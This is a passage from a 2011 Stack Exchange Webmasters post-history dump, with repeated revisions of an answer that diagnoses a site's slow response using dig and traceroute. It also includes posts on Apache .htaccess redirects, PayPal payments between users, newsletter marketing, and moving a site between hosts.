	165087	IN	NS	ns1.scirra.hypervserver.co.uk.&#xD;&#xA;    scirra.com.		165087	IN	NS	ns2.scirra.hypervserver.co.uk.&#xD;&#xA;    &#xD;&#xA;    ;; ADDITIONAL SECTION:&#xD;&#xA;    ns1.scirra.hypervserver.co.uk. 3600 IN	A	84.45.57.142&#xD;&#xA;    ns2.scirra.hypervserver.co.uk. 3600 IN	A	84.45.57.143&#xD;&#xA;    &#xD;&#xA;    ;; Query time: 489 msec&#xD;&#xA;    ;; SERVER: 209.68.2.41#53(209.68.2.41)&#xD;&#xA;    ;; WHEN: Mon Jul 11 09:17:57 2011&#xD;&#xA;    ;; MSG SIZE  rcvd: 137&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Note the &quot;Query time: 489ms&quot;. That tells us it took 489 milliseconds to resolve the domain name to the server's IP address.&#xD;&#xA;&#xD;&#xA;Next, we can check how long it takes to reach that IP address from a computer across the pond by using an [online traceroute service](http://mrdns.com/trace/0/scirra.com) based in Canada, which gives us the following output:&#xD;&#xA;&#xD;&#xA;![online traceroute][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/OZvjz.png&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It takes about 730ms to reach the IP address of your server from Canada.&#xD;&#xA;&#xD;&#xA;Now we have enough data to make a conclusion. It's safe to say that the 1-2 second response time you're seeing is largely due to the fact that your server is so far away from visitors in Canada and the US. If a big proportion of your customers are in the US, you may wish to host the site on a server in the US rather than the UK. (You could also keep the UK server and route traffic to the nearest site using a [Geographical DNS](http://www.dnsmadeeasy.com/enterprisedns/trafficdirector.html) service, but this might be overkill for a small site.)&#xD;&#xA;&#xD;&#xA;You could also pay for DNS hosting with a US domain registrar such as [DNS Made Easy](http://www.dnsmadeeasy.com/) in order to improve the initial lookup time. You're unlikely to improve it by more than around 300ms or so by doing this, so it might not make as big an impact as moving your server to the US, especially because the DNS lookup happens once per visit whereas page requests to the server are much more frequent, but using a fast DNS server is still worth doing." />
  <row Id="39821" PostHistoryTypeId="5" PostId="16667" RevisionGUID="f181bc08-77aa-49f7-b48d-23d48b062769" CreationDate="2011-07-11T13:41:57.270" UserId="7198" Comment="deleted 1 characters in body" Text="Before concluding that your DNS servers are slow, it's best to gather some evidence.&#xD;&#xA;&#xD;&#xA;To determine the speed of the DNS lookup from a computer based in the US, we can use the Unix 'dig' command, or a [web-based dig service](http://www.webmaster-toolkit.com/dig.shtml?address=scirra.com) based in the US, which gives us this response:&#xD;&#xA;&#xD;&#xA;    ; &lt;&lt;&gt;&gt; DiG 9.6.1-P1 &lt;&lt;&gt;&gt; scirra.com&#xD;&#xA;    ;; global options: +cmd&#xD;&#xA;    ;; Got answer:&#xD;&#xA;    ;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 39135&#xD;&#xA;    ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2&#xD;&#xA;    &#xD;&#xA;    ;; QUESTION SECTION:&#xD;&#xA;    ;scirra.com.			IN	A&#xD;&#xA;    &#xD;&#xA;    ;; ANSWER SECTION:&#xD;&#xA;    scirra.com.		3600	IN	A	84.45.57.143&#xD;&#xA;    &#xD;&#xA;    ;; AUTHORITY SECTION:&#xD;&#xA;    scirra.com.		165087	IN	NS	ns1.scirra.hypervserver.co.uk.&#xD;&#xA;    scirra.com.		165087	IN	NS	ns2.scirra.hypervserver.co.uk.&#xD;&#xA;    &#xD;&#xA;    ;; ADDITIONAL SECTION:&#xD;&#xA;    ns1.scirra.hypervserver.co.uk. 3600 IN	A	84.45.57.142&#xD;&#xA;    ns2.scirra.hypervserver.co.uk. 3600 IN	A	84.45.57.143&#xD;&#xA;    &#xD;&#xA;    ;; Query time: 489 msec&#xD;&#xA;    ;; SERVER: 209.68.2.41#53(209.68.2.41)&#xD;&#xA;    ;; WHEN: Mon Jul 11 09:17:57 2011&#xD;&#xA;    ;; MSG SIZE  rcvd: 137&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Note the &quot;Query time: 489ms&quot;. That tells us it took 489 milliseconds to resolve the domain name to the server's IP address.&#xD;&#xA;&#xD;&#xA;Next, we can check how long it takes to reach that IP address from a computer across the pond by using an [online traceroute service](http://mrdns.com/trace/0/scirra.com) based in Canada, which gives us the following output:&#xD;&#xA;&#xD;&#xA;![online traceroute][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/OZvjz.png&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It takes about 730ms to reach the IP address of your server from Canada.&#xD;&#xA;&#xD;&#xA;Now we have enough data to make a conclusion. It's safe to say that the 1-2 second response time you're seeing is largely due to the fact that your server is so far away from visitors in Canada and the US. If a big proportion of your customers are in the US, you may wish to host the site on a server in the US rather than the UK. (You could also keep the UK server and route traffic to the nearest site using a [Geographical DNS](http://www.dnsmadeeasy.com/enterprisedns/trafficdirector.html) service, but this might be overkill for a small site.)&#xD;&#xA;&#xD;&#xA;You could also pay for DNS hosting with a US nameserver host such as [DNS Made Easy](http://www.dnsmadeeasy.com/) in order to improve the initial lookup time. You're unlikely to improve it by more than around 300ms or so by doing this, so it might not make as big an impact as moving your server to the US, especially because the DNS lookup happens once per visit whereas page requests to the server are much more frequent, but using a fast DNS server is still worth doing." />
  <row Id="39822" PostHistoryTypeId="2" PostId="16668" RevisionGUID="84d62050-e4a3-4eb2-971c-d50630bc1f58" CreationDate="2011-07-11T13:44:26.107" UserId="7588" Text="@Nick's comments cover all of the bases, but do you really need to offer discounts?&#xD;&#xA;&#xD;&#xA;Maybe you could make clear that you provide free consultations or are willing to spend a certain amount of time on a pitch/proposal on a 'no-win/no-fee' basis. You could also offer your customers 'back-handers' for getting new business from another company for you, however, 'back-handers' will need to be sold a bit fluffier than that even if it amounts to the same thing.&#xD;&#xA;&#xD;&#xA;For introduction, you can write articles that focus on trends in graphics/web design plus topics that always interest people, e.g. what new colours are 'in' for the next season. Hopefully such content will encourage your customers to be inspired, maybe inspired enough to come to you with some new work.&#xD;&#xA;&#xD;&#xA;There is no harm in repeating what-your-basic-business-offering is. Hopefully you understand the 'pain' of your customers and offer them 'pain-free' ways to achieve their goals. Learn to understand what most people hate about how website projects are delivered and write with a pre-emptive response to that. Truth is that most companies have a loath-hate relationship with 'web developers' so there are plenty of opportunities out there for the picking.&#xD;&#xA;&#xD;&#xA;Must-have technological extras that play on 'FUD' could also be a sales 'in'. Adding microformats to a site is a very good idea if you want sensible search rankings, SPF records on emails to make sure emails get read is another idea, albeit outside the 'design remit'.&#xD;&#xA;&#xD;&#xA;This sort of content widens your newsletter to a business audience, these smaller tasks also give your customers an opportunity to work with you on something that is manageable and not of great risk. If you can turn around a client's email 'always ending up in SPAM' they will be grateful to you and you will have that element of trust. You will also show you don't just do pretty web-pages, you also can do things more pertinent to their business needs.&#xD;&#xA;&#xD;&#xA;Through delivering one of your normal design projects, you will learn and master a topic or two. At the end you can write it up succinctly as only someone that understands their stuff can. If you can then confer this gift of knowledge onto your customer base then the penny will drop, they may understand a topic that has eluded them for some time.&#xD;&#xA;&#xD;&#xA;An example topic is site migration, what needs doing before and after go-live. Again, this will make the impossible (moving website) seem possible.&#xD;&#xA;&#xD;&#xA;With your language you can talk up to your audience, to 'raise their intellect' during the reading of your newsletter, not to talk down, or dumb down. Note that the best writing does not use the biggest words, so hone your prose and make sure there are no errors.&#xD;&#xA;&#xD;&#xA;I imagine you will be wanting to impress with design. Get your newsletter looking the part so that your abilities in this area are implicitly stated.&#xD;&#xA;&#xD;&#xA;It goes without saying that nobody will read your newsletter if the subject is no good. The subject is only there to get people to open your newsletter, it does not have to have any relevance to the content, so long as you qualify it somehow. You need not stoop to tabloid style headlines (e.g. &quot;Freddie Starr Ate My Hamster&quot;) but you should be thinking on the same lines - what is going to make people want to read this?" />
  <row Id="39823" PostHistoryTypeId="5" PostId="16667" RevisionGUID="1f65e25a-673a-4519-bc10-7202cd7528fe" CreationDate="2011-07-11T13:51:31.363" UserId="7198" Comment="added 2 characters in body" Text="Before concluding that your DNS servers are slow, it's best to gather some evidence.&#xD;&#xA;&#xD;&#xA;To determine the speed of the DNS lookup from a computer based in the US, we can use the Unix 'dig' command, or a [web-based dig service](http://www.webmaster-toolkit.com/dig.shtml?address=scirra.com) based in the US, which gives us this response:&#xD;&#xA;&#xD;&#xA;    ; &lt;&lt;&gt;&gt; DiG 9.6.1-P1 &lt;&lt;&gt;&gt; scirra.com&#xD;&#xA;    ;; global options: +cmd&#xD;&#xA;    ;; Got answer:&#xD;&#xA;    ;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 39135&#xD;&#xA;    ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2&#xD;&#xA;    &#xD;&#xA;    ;; QUESTION SECTION:&#xD;&#xA;    ;scirra.com.			IN	A&#xD;&#xA;    &#xD;&#xA;    ;; ANSWER SECTION:&#xD;&#xA;    scirra.com.		3600	IN	A	84.45.57.143&#xD;&#xA;    &#xD;&#xA;    ;; AUTHORITY SECTION:&#xD;&#xA;    scirra.com.		165087	IN	NS	ns1.scirra.hypervserver.co.uk.&#xD;&#xA;    scirra.com.		165087	IN	NS	ns2.scirra.hypervserver.co.uk.&#xD;&#xA;    &#xD;&#xA;    ;; ADDITIONAL SECTION:&#xD;&#xA;    ns1.scirra.hypervserver.co.uk. 3600 IN	A	84.45.57.142&#xD;&#xA;    ns2.scirra.hypervserver.co.uk. 3600 IN	A	84.45.57.143&#xD;&#xA;    &#xD;&#xA;    ;; Query time: 489 msec&#xD;&#xA;    ;; SERVER: 209.68.2.41#53(209.68.2.41)&#xD;&#xA;    ;; WHEN: Mon Jul 11 09:17:57 2011&#xD;&#xA;    ;; MSG SIZE  rcvd: 137&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Note the &quot;Query time: 489msec&quot;. That tells us it took 489 milliseconds to resolve the domain name to the server's IP address.&#xD;&#xA;&#xD;&#xA;Next, we can check how long it takes to reach that IP address from a computer across the pond by using an [online traceroute service](http://mrdns.com/trace/0/scirra.com) based in Canada, which gives us the following output:&#xD;&#xA;&#xD;&#xA;![online traceroute][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/OZvjz.png&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It takes about 730ms to reach the IP address of your server from Canada.&#xD;&#xA;&#xD;&#xA;Now we have enough data to make a conclusion. It's safe to say that the 1-2 second response time you're seeing is largely due to the fact that your server is so far away from visitors in Canada and the US. If a big proportion of your customers are in the US, you may wish to host the site on a server in the US rather than the UK. (You could also keep the UK server and route traffic to the nearest site using a [Geographical DNS](http://www.dnsmadeeasy.com/enterprisedns/trafficdirector.html) service, but this might be overkill for a small site.)&#xD;&#xA;&#xD;&#xA;You could also pay for DNS hosting with a US nameserver host such as [DNS Made Easy](http://www.dnsmadeeasy.com/) in order to improve the initial lookup time. You're unlikely to improve it by more than around 300ms or so by doing this, so it might not make as big an impact as moving your server to the US, especially because the DNS lookup happens once per visit whereas page requests to the server are much more frequent, but using a fast DNS server is still worth doing." />
  <row Id="39824" PostHistoryTypeId="2" PostId="16669" RevisionGUID="69431c8c-b338-488e-a759-ff22d2b9238f" CreationDate="2011-07-11T13:52:18.193" UserId="7588" Text="The application Gallery2 is FOSS and allows for this:&#xD;&#xA;&#xD;&#xA;http://codex.gallery2.org/Gallery2:Modules:checkout&#xD;&#xA;&#xD;&#xA;I have not tried Gallery 3 but Gallery 2 will let you pay with PayPal, Google Checkout and other ways." />
  <row Id="39825" PostHistoryTypeId="5" PostId="16667" RevisionGUID="ef882c6f-9705-4ceb-93d6-bc96ce7971d5" CreationDate="2011-07-11T14:55:46.877" UserId="7198" Comment="added 453 characters in body" Text="**Relocating the webserver to the US will hugely improve server response time for US users. Investing in better DNS servers will also improve response time, but only for the first request.**&#xD;&#xA;&#xD;&#xA;The following analysis shows where your speed bottlenecks are at present. (Short version: most of the 1-2 seconds is the time it takes to reach the webserver, not the DNS server.)&#xD;&#xA;&#xD;&#xA;###Time taken for domain lookup (DNS response)&#xD;&#xA;To determine the speed of the DNS lookup from a computer based in the US, we can use the Unix 'dig' command, or a [web-based dig service](http://www.webmaster-toolkit.com/dig.shtml?address=scirra.com) based in the US, which gives us this response:&#xD;&#xA;&#xD;&#xA;    ; &lt;&lt;&gt;&gt; DiG 9.6.1-P1 &lt;&lt;&gt;&gt; scirra.com&#xD;&#xA;    ;; global options: +cmd&#xD;&#xA;    ;; Got answer:&#xD;&#xA;    ;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 39135&#xD;&#xA;    ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2&#xD;&#xA;    &#xD;&#xA;    ;; QUESTION SECTION:&#xD;&#xA;    ;scirra.com.			IN	A&#xD;&#xA;    &#xD;&#xA;    ;; ANSWER SECTION:&#xD;&#xA;    scirra.com.		3600	IN	A	84.45.57.143&#xD;&#xA;    &#xD;&#xA;    ;; AUTHORITY SECTION:&#xD;&#xA;    scirra.com.		165087	IN	NS	ns1.scirra.hypervserver.co.uk.&#xD;&#xA;    scirra.com.		165087	IN	NS	ns2.scirra.hypervserver.co.uk.&#xD;&#xA;    &#xD;&#xA;    ;; ADDITIONAL SECTION:&#xD;&#xA;    ns1.scirra.hypervserver.co.uk. 3600 IN	A	84.45.57.142&#xD;&#xA;    ns2.scirra.hypervserver.co.uk. 3600 IN	A	84.45.57.143&#xD;&#xA;    &#xD;&#xA;    ;; Query time: 489 msec&#xD;&#xA;    ;; SERVER: 209.68.2.41#53(209.68.2.41)&#xD;&#xA;    ;; WHEN: Mon Jul 11 09:17:57 2011&#xD;&#xA;    ;; MSG SIZE  rcvd: 137&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Note the &quot;Query time: 489 msec&quot;. That tells us it took 489 milliseconds to resolve the domain name to the server's IP address (which is a little slow, possibly because your nameservers are in the UK and the request is from the US).&#xD;&#xA;&#xD;&#xA;###Time taken for server response&#xD;&#xA;Next, we can check how long it takes to reach that IP address from a computer across the pond by using an [online traceroute service](http://mrdns.com/trace/0/scirra.com) based in Canada, which gives us the following output:&#xD;&#xA;&#xD;&#xA;![online traceroute][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/OZvjz.png&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It takes about 730ms to reach the IP address of your server from Canada.&#xD;&#xA;&#xD;&#xA;###Conclusions and suggestions for improvement&#xD;&#xA;Now we have enough data to make a conclusion. It's safe to say that the 1-2 second response time you're seeing is largely due to the fact that your server is so far away from visitors in Canada and the US. If a big proportion of your customers are in the US—and you should use your Google Analytics stats to determine this—you may wish to host the site on a server in the US rather than the UK. (You could also keep the UK server and route traffic to the nearest site using a [geographical DNS](http://www.dnsmadeeasy.com/enterprisedns/trafficdirector.html) service, but this might be overkill for a small site.)&#xD;&#xA;&#xD;&#xA;You could also pay for DNS hosting with a US nameserver host such as [DNS Made Easy](http://www.dnsmadeeasy.com/) in order to improve the initial lookup time. You're unlikely to improve it by more than around 300ms or so by doing this, so it might not make as big an impact as moving your server to the US, especially because the DNS lookup happens once per visit whereas page requests to the server are much more frequent, but using a fast DNS server is still worth doing." />
  <row Id="39826" PostHistoryTypeId="2" PostId="16670" RevisionGUID="244666f1-9a07-47a3-ad31-901970f5058f" CreationDate="2011-07-11T14:57:14.640" UserId="8896" Text="Disclaimer: My webmastering experience is almost nil. Apologies if anything seems ignorant - if it sounds that way, it probably is. &#xD;&#xA;&#xD;&#xA;My employer is in the middle of switching over from one version of their website to another, and for the time being would like for the old site to redirect to the new one, but have the pages of the old site preserved as a backup of sorts. &#xD;&#xA;&#xD;&#xA;After some Google searches, I found that an easy way to perform a site-wide redirect is by adding the following line to a .htaccess file:&#xD;&#xA;&#xD;&#xA;    Redirect 301 / http://www.website.com&#xD;&#xA;&#xD;&#xA;Prior to this task being given to me, the site did not have a .htaccess file, so I created one and it contains _only_ that line. Once that file was saved, attempts to load the old site's URL yielded 500 Internal Server Error.&#xD;&#xA;&#xD;&#xA;I am certain that I'm missing something which might be obvious to an experienced webmaster. What more do I need to do to make this redirect hold?" />
  <row Id="39827" PostHistoryTypeId="1" PostId="16670" RevisionGUID="244666f1-9a07-47a3-ad31-901970f5058f" CreationDate="2011-07-11T14:57:14.640" UserId="8896" Text="Site-wide redirect with Tomcat4" />
  <row Id="39828" PostHistoryTypeId="3" PostId="16670" RevisionGUID="244666f1-9a07-47a3-ad31-901970f5058f" CreationDate="2011-07-11T14:57:14.640" UserId="8896" Text="&lt;redirects&gt;" />
  <row Id="39829" PostHistoryTypeId="5" PostId="16667" RevisionGUID="c3f01d93-c8d3-4005-9631-574439886441" CreationDate="2011-07-11T15:11:58.097" UserId="7198" Comment="deleted 73 characters in body" Text="**Relocating the webserver to the US will hugely improve server response time for US users. Investing in better DNS servers will also improve response time, but only for the first request.**&#xD;&#xA;&#xD;&#xA;The following analysis shows where your speed bottlenecks are at present. (Short version: most of the 1-2 seconds is the time it takes to reach the webserver, not the DNS server.)&#xD;&#xA;&#xD;&#xA;###Time taken for domain lookup (DNS response)&#xD;&#xA;To determine the speed of the DNS lookup from a computer based in the US, we can use the Unix 'dig' command, or a [web-based dig service](http://www.webmaster-toolkit.com/dig.shtml?address=scirra.com) based in the US, which gives us this response:&#xD;&#xA;&#xD;&#xA;    ; &lt;&lt;&gt;&gt; DiG 9.6.1-P1 &lt;&lt;&gt;&gt; scirra.com&#xD;&#xA;    ;; global options: +cmd&#xD;&#xA;    ;; Got answer:&#xD;&#xA;    ;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 39135&#xD;&#xA;    ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2&#xD;&#xA;    &#xD;&#xA;    ;; QUESTION SECTION:&#xD;&#xA;    ;scirra.com.			IN	A&#xD;&#xA;    &#xD;&#xA;    ;; ANSWER SECTION:&#xD;&#xA;    scirra.com.		3600	IN	A	84.45.57.143&#xD;&#xA;    &#xD;&#xA;    ;; AUTHORITY SECTION:&#xD;&#xA;    scirra.com.		165087	IN	NS	ns1.scirra.hypervserver.co.uk.&#xD;&#xA;    scirra.com.		165087	IN	NS	ns2.scirra.hypervserver.co.uk.&#xD;&#xA;    &#xD;&#xA;    ;; ADDITIONAL SECTION:&#xD;&#xA;    ns1.scirra.hypervserver.co.uk. 3600 IN	A	84.45.57.142&#xD;&#xA;    ns2.scirra.hypervserver.co.uk. 3600 IN	A	84.45.57.143&#xD;&#xA;    &#xD;&#xA;    ;; Query time: 489 msec&#xD;&#xA;    ;; SERVER: 209.68.2.41#53(209.68.2.41)&#xD;&#xA;    ;; WHEN: Mon Jul 11 09:17:57 2011&#xD;&#xA;    ;; MSG SIZE  rcvd: 137&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Note the &quot;Query time: 489 msec&quot;. That tells us it took 489 milliseconds to resolve the domain name to the server's IP address (which does seem a little slow).&#xD;&#xA;&#xD;&#xA;###Time taken for server response&#xD;&#xA;Next, we can check how long it takes to reach that IP address from a computer across the pond by using an [online traceroute service](http://mrdns.com/trace/0/scirra.com) based in Canada, which gives us the following output:&#xD;&#xA;&#xD;&#xA;![online traceroute][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/OZvjz.png&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It takes about 730ms to reach the IP address of your server from Canada.&#xD;&#xA;&#xD;&#xA;###Conclusions and suggestions for improvement&#xD;&#xA;Now we have enough data to make a conclusion. It's safe to say that the 1-2 second response time you're seeing is largely due to the fact that your server is so far away from visitors in Canada and the US. If a big proportion of your customers are in the US—and you should use your Google Analytics stats to determine this—you may wish to host the site on a server in the US rather than the UK. (You could also keep the UK server and route traffic to the nearest site using a [geographical DNS](http://www.dnsmadeeasy.com/enterprisedns/trafficdirector.html) service, but this might be overkill for a small site.)&#xD;&#xA;&#xD;&#xA;You could also pay for DNS hosting with a US nameserver host such as [DNS Made Easy](http://www.dnsmadeeasy.com/) in order to improve the initial lookup time. You're unlikely to improve it by more than around 300ms or so by doing this, so it might not make as big an impact as moving your server to the US, especially because the DNS lookup happens once per visit whereas page requests to the server are much more frequent, but using a fast DNS server is still worth doing." />
  <row Id="39830" PostHistoryTypeId="25" PostId="16665" RevisionGUID="9def3bf9-6d5c-43e4-8886-69a00e3944e2" CreationDate="2011-07-11T15:31:19.223" Comment="http://twitter.com/#!/StackWebmasters/status/90443049469091841" />
  <row Id="39831" PostHistoryTypeId="2" PostId="16671" RevisionGUID="b5f0f91b-005d-47ef-8f95-6d5ebce52119" CreationDate="2011-07-11T15:33:29.460" UserId="8354" Text="[Redirect directive](http://httpd.apache.org/docs/current/mod/mod_alias.html#redirect) is part of **mod_alias** module. Make sure that you have this line (or similar) uncommented (no `#` in front) in your `httpd.conf` file:&#xD;&#xA;&#xD;&#xA;    LoadModule alias_module modules/mod_alias.so&#xD;&#xA;&#xD;&#xA;Another _possible_ reason: add trailing slash `/` if redirecting to the root folder:&#xD;&#xA;&#xD;&#xA;    Redirect 301 / http://www.website.com/&#xD;&#xA;&#xD;&#xA;In any case -- you should check your Apache's error log for details." />
  <row Id="39832" PostHistoryTypeId="2" PostId="16672" RevisionGUID="d8a11e7a-766d-403d-9281-843c382d97bb" CreationDate="2011-07-11T15:36:17.157" UserId="1643" Text="Despite this probably being a common requirement I can't find another question just like it, so here's what to put in your htaccess file. If you want to keep the part of the url after the slash (so olddomain.com/something redirects to newdomain.com/something) do this:&#xD;&#xA;&#xD;&#xA;    Options +FollowSymLinks&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteRule (.*) http://www.newdomain.com/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;If you want the redirect to just take them to the home page then use this:&#xD;&#xA;&#xD;&#xA;    RewriteRule (.*) http://www.newdomain.com/ [R=301,L]" />
  <row Id="39833" PostHistoryTypeId="5" PostId="16671" RevisionGUID="c6ce2976-3a4d-4b20-b6ff-4d3933bec270" CreationDate="2011-07-11T16:20:54.817" UserId="8354" Comment="added 322 characters in body" Text="[Redirect directive](http://httpd.apache.org/docs/current/mod/mod_alias.html#redirect) is part of **mod_alias** module. Make sure that you have this line (or similar) uncommented (no `#` in front) in your `httpd.conf` file:&#xD;&#xA;&#xD;&#xA;    LoadModule alias_module modules/mod_alias.so&#xD;&#xA;&#xD;&#xA;Another _possible_ reason: add trailing slash `/` if redirecting to the root folder:&#xD;&#xA;&#xD;&#xA;    Redirect 301 / http://www.website.com/&#xD;&#xA;&#xD;&#xA;In any case -- you should check your Apache's error log for details.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**UPDATE:**&#xD;&#xA;If you have full control over your server, make sure that you have `AllowOverride All` directive in your Apache config file (httpd.conf or httpd-vhost.conf), for example inside appropriate `&lt;VirtualHost&gt;`:&#xD;&#xA;&#xD;&#xA;    &lt;Directory &quot;/path/to/website/root&quot;&gt;&#xD;&#xA;      AllowOverride All&#xD;&#xA;    &lt;/Directory&gt;" />
  <row Id="39834" PostHistoryTypeId="17" PostId="16673" RevisionGUID="0d4c665c-c98a-4ed3-a743-16f40e6e893d" CreationDate="2011-07-11T17:24:36.017" UserId="-1" Comment="from http://stackoverflow.com/questions/6653602/how-can-i-let-users-pay-other-users-on-my-website" Text="" />
  <row Id="39835" PostHistoryTypeId="17" PostId="16674" RevisionGUID="30538b3d-bb39-4e07-bb69-1cfb776013b5" CreationDate="2011-07-11T17:24:36.017" UserId="-1" Comment="from http://stackoverflow.com/questions/6653602/how-can-i-let-users-pay-other-users-on-my-website" Text="" />
  <row Id="39836" PostHistoryTypeId="17" PostId="16675" RevisionGUID="70e2e9b8-ee70-4b78-99fe-ca5e060fde06" CreationDate="2011-07-11T17:24:36.017" UserId="-1" Comment="from http://stackoverflow.com/questions/6653602/how-can-i-let-users-pay-other-users-on-my-website" Text="" />
  <row Id="39837" PostHistoryTypeId="2" PostId="16674" RevisionGUID="9b0bc72a-f1b8-4151-b86b-feec3135182e" CreationDate="2011-07-11T16:57:57.473" UserDisplayName="alhoseany" Text="i did that before on a client website.&#xD;&#xA;&#xD;&#xA;the idea is to create a virtual currency on your website.lets say that virtual currency will be credits.&#xD;&#xA;&#xD;&#xA;users then can buy credits from you using PayPal and then use these credits to pay other users.&#xD;&#xA;&#xD;&#xA;if a user want to exchange credits for real money. he can submit a ticket to you or fill a form that verifies his data and then convert the credit amount to real money and send him the payment through PayPal.&#xD;&#xA;&#xD;&#xA;example:&#xD;&#xA;$1 = 1000 credits&#xD;&#xA;&#xD;&#xA;-a developer sells a theme for 50k credit which equal to $50.&#xD;&#xA;&lt;br&gt;-the buying user pays you for the 50k credits + your percentage.&#xD;&#xA;&lt;br&gt;-the buying user use the credits to buy the theme.&#xD;&#xA;&lt;br&gt;-the developer sells you the credits for the money.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39838" PostHistoryTypeId="2" PostId="16675" RevisionGUID="c9fe338f-5e52-4f81-bc7c-7392d5036dbc" CreationDate="2011-07-11T16:59:28.750" UserDisplayName="Manhim" Text="If you use Paypal you can set the seller's e-mail address to the user you want to receive the money (he needs to have a Paypal account).&#xD;&#xA;&#xD;&#xA;The other way is to act as a middle-man and send them a check or a Paypal transaction on-demand." />
  <row Id="39839" PostHistoryTypeId="2" PostId="16673" RevisionGUID="a50d9961-ddd3-41da-9864-28659f352c3a" CreationDate="2011-07-11T16:51:42.463" UserDisplayName="bigmike7801" Text="I'm looking for a way to let users on my website pay other users on my website for goods or services and for me to take a percentage of the transaction as well as store the transaction data in database.&#xD;&#xA;&#xD;&#xA;Is there currently a service out there that will let me do this? Is Paypal capable of this? I know I can receive payments from users and send payments to users, but I want a way to directly let users pay others directly or even pay me directly and then me automatically pay the user who should be receiving the money once the payment clears.&#xD;&#xA;&#xD;&#xA;This will be a US only website for now and I'm using PHP and MySql if that makes a difference." />
  <row Id="39840" PostHistoryTypeId="1" PostId="16673" RevisionGUID="a50d9961-ddd3-41da-9864-28659f352c3a" CreationDate="2011-07-11T16:51:42.463" UserDisplayName="bigmike7801" Text="How can I let users pay other users on my website?" />
  <row Id="39841" PostHistoryTypeId="3" PostId="16673" RevisionGUID="a50d9961-ddd3-41da-9864-28659f352c3a" CreationDate="2011-07-11T16:51:42.463" UserDisplayName="bigmike7801" Text="&lt;php&gt;&lt;paypal&gt;&lt;ecommerce&gt;&lt;payment-gateway&gt;" />
  <row Id="39842" PostHistoryTypeId="2" PostId="16676" RevisionGUID="07495351-fa91-4306-a807-96df21dbfd1b" CreationDate="2011-07-11T17:34:36.007" UserId="1253" Text="If you're in the US you can rule out using a true merchant account for this. Accepting payments on the behalf of another business is called [factoring][1]&lt;sup&gt;*&lt;/sup&gt;. Factoring is against the rules set forth my Visa and MasterCard (and I'm pretty sure Discover Card and American Express as well). If you are caught factoring your merchant account will be closed, any outstanding funds will be held for six months or more, and you will be put on the Match File which is a blacklist for merchant accounts. Once you are on it you can never get a true merchant account again.&#xD;&#xA;&#xD;&#xA;Paypal offers [Adaptive Payments][2] which allows a payment to be split among two or more users. The only drawback is if a user is in a country not supported by Paypal then this won't work for them. Since this will be a US only website that won't be an issue for you.&#xD;&#xA;&#xD;&#xA;If you choose to use Paypal's Adaptive Payments, you will need to do some coding on your end to manage how the payments are dispersed. But that would be true of any payment provider you choose for this task. I suspect they have sample code to get you started at their [developer website][3].&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;*&lt;/sup&gt; I am the author of this content&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.merchant-account-services.org/blog/what-you-cant-do-with-credit-card-processing/&#xD;&#xA;  [2]: https://www.x.com/community/ppx/adaptive_payments&#xD;&#xA;  [3]: https://www.x.com/index.jspa" />
  <row Id="39843" PostHistoryTypeId="2" PostId="16677" RevisionGUID="3d774d7e-9817-4be5-a07f-e9d70249fb07" CreationDate="2011-07-11T17:44:25.433" UserId="8687" Text="There are several parts that need transferred and the way to avoid downtime is to transfer one part at a time in the right order.&#xD;&#xA;&#xD;&#xA;I'm assuming that you had everything under one roof with godaddy being the register, dns providers, web host etc, all in one package. So when you transferred the domain, godaddy stopped all the servers at one time. To avoid downtime you have to control and modify the different parts severalty. For example, I would register a domain with one company, use the dns services of another and buy hosting space from a third. This is more complex to set up and might cost more but gives you more control.&#xD;&#xA;&#xD;&#xA;The control comes in being able to change the provider of one of these parts without disrupting the service of the other parts. You could change hosts or change registrar without interrupting the dns service, just altering the dns settings.&#xD;&#xA;&#xD;&#xA;When changing the DNS, it's recommended to set a very short TTL time so that the DNS changes propagate quickly. If you set a very long TTL, then visitors will continue to be sent to the cached, old, DNS settings until the end of the TTL time.&#xD;&#xA;&#xD;&#xA;Moving process:&#xD;&#xA;&#xD;&#xA; 1. Backup everything, files, database, email settings, the lot, just incase it all goes wrong.&#xD;&#xA;&#xD;&#xA; 2. Set the TTL times on your DNS to a short value.&#xD;&#xA;&#xD;&#xA; 3. Copy all your files, databases and settings to the new host (if you have a dynamic site, you may need to restrict some behaviour for some time or set a read only mode to prevent data being lost during the transfer.)&#xD;&#xA;&#xD;&#xA; 4. Test the the copy worked correctly.&#xD;&#xA;&#xD;&#xA; 5. Change the old DNS system to point to the new web server and check the site is loading. (if checks out you can re-enable the full dynamic behaviour now.)&#xD;&#xA;&#xD;&#xA; 6. Copy the DNS settings from the old server to the new DNS 